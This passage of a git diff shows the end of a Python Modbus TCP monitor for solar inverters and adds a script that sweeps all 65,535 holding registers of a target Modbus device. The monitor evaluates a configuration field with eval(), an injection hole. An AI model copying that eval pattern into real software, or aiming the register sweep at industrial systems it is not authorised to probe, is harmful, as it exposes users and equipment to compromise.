function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git 